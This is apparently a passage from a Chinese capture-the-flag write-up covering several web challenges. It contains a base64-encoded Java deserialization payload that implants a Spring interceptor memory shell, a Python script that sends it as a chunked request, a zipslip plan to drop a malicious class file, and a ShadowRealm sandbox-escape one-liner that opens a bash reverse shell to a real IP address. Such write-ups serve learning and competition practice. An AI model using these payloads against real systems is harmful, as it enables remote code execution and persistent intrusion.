lvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQHATgMATkBOgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwBOwE8AQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcBABNhZGFwdGVkSW50ZXJjZXB0b3JzAQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uAQAOamF2YS91dGlsL0xpc3QBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgwBPQE+AQACb2sMAQgBMAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IBAAxnZXRQYXJhbWV0ZXIBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BAAVmbHVzaAEABWNsb3NlAQAPcHJpbnRTdGFja1RyYWNlAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RGVjb2RlcgEAB0RlY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JERlY29kZXI7AQAYamF2YS91dGlsL0Jhc2U2NCREZWNvZGVyAQAGZGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspVgEABXdyaXRlAQAFKFtCKVYBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAEWphdmEvbGFuZy9Cb29sZWFuAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAWZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAB3ZhbHVlT2YBABYoWilMamF2YS9sYW5nL0Jvb2xlYW47AQALbmV3SW5zdGFuY2UBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAphZGRFbGVtZW50AQAVKExqYXZhL2xhbmcvT2JqZWN0OylWAQADc2V0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2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"""
hex_string = hex(len(payload))[2:] hex_string = str(hex_string) burp0_data = f"{hex_string}\r\n{payload}\r\n0\r\n\r\n" res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data) print(res.text)
|
即可拿到flag,还是很好玩的一道题目,出题师傅用心了
Deserialize?Upload!
考点:heapdump文件泄露、文件覆盖
听出题人说是heapdump文件读取,我tm用github上开源工具读就是没读出来,那我有啥办法- -,预期解是说用visualVM工具- -
然后就是一个zipslip漏洞,写一个evil.class到jre/classes目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
|
package com.example.nochain.Controller;
import com.example.nochain.Utils.Coding; import com.example.nochain.Utils.Information; import com.example.nochain.Utils.SafeObjectInputStream; import com.example.nochain.Utils.Unzip; import java.io.ByteArrayInputStream; import java.io.File; import java.io.InputStream; import java.nio.file.CopyOption; import java.nio.file.Files; import java.util.Base64; import java.util.regex.Pattern; import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RequestPart; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.multipart.MultipartFile;
@Controller @RequestMapping({"/admin"}) public class AdminController { @Value("${file.upload.path}") private String path;
public AdminController() { }
@RequestMapping({"/*"}) public String index() { return "admin"; }
@PostMapping({"/upload"}) @ResponseBody public Information upload(@RequestPart MultipartFile file) throws Exception { Information information = new Information(); String allowed = ".*(\\.zip)$"; String filename = file.getOriginalFilename(); if (!Pattern.matches(allowed, filename)) { information.status = 0; information.text = "仅支持zip格式"; return information; } else { InputStream inputStream = file.getInputStream(); byte[] b = new byte[4]; inputStream.read(b, 0, b.length); String header = Coding.bytesToHexString(b).toUpperCase(); if (!header.equals("504B0304")) { information.status = 0; information.text = "hacker!"; return information; } else { String filepath = this.path + "/" + filename; File res = new File(filepath); if (res.exists()) { information.status = 0; information.text = "文件已存在"; return information; } else { Files.copy(file.getInputStream(), res.toPath(), new CopyOption[0]); String path = filepath.replace(".zip", ""); File dir = new File(path); dir.mkdirs(); Unzip.unzip(res, information, path); information.status = 1; information.filename = filepath; information.text = "上传成功"; return information; } } } }
@GetMapping({"/deserialize"}) public void deserialize(@RequestParam("b64str") String b64str) throws Exception { byte[] serialized = Base64.getDecoder().decode(b64str); ByteArrayInputStream bis = new ByteArrayInputStream(serialized); SafeObjectInputStream ois = new SafeObjectInputStream(bis); ois.readObject(); } }
|
有反序列化入口,但是过滤做死了
所以我们可以让恶意的evil.class继承serialable,写一个readobject就好了。
也没给出docker环境,那就不复现了,含量不是特别大
yet another sandbox
考点:js沙盒逃逸,dynamic import 逃逸
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| import express from 'express'; import path from 'path';
const __dirname = path.resolve();
const app = express(); app.use(express.json());
app.use('/asserts', express.static('asserts'));
function runInShadowRealm(code) { let shadowRealm = new ShadowRealm(); let result = shadowRealm.evaluate(code); shadowRealm = null; return result; }
app.get('/', (_, res) => { return res.sendFile(__dirname+'/index.html'); });
app.post('/api/run', async (req, res) => { try{ let { code } = req.body; var msg = await runInShadowRealm(code); } catch(error) { var msg = error.toString(); } res.json({"msg": msg}); });
app.listen(1337, () => { console.log('Server listening on port 1337'); })
|
一个shadowRealm沙盒逃逸。其实好像也没有逃逸,fuzz一下也可以rce
1 2
| import('child_process').then(m=>m.execSync('bash -c "bash -i >& /dev/tcp/8.130.24.188/7777 <&1"')); 1;
|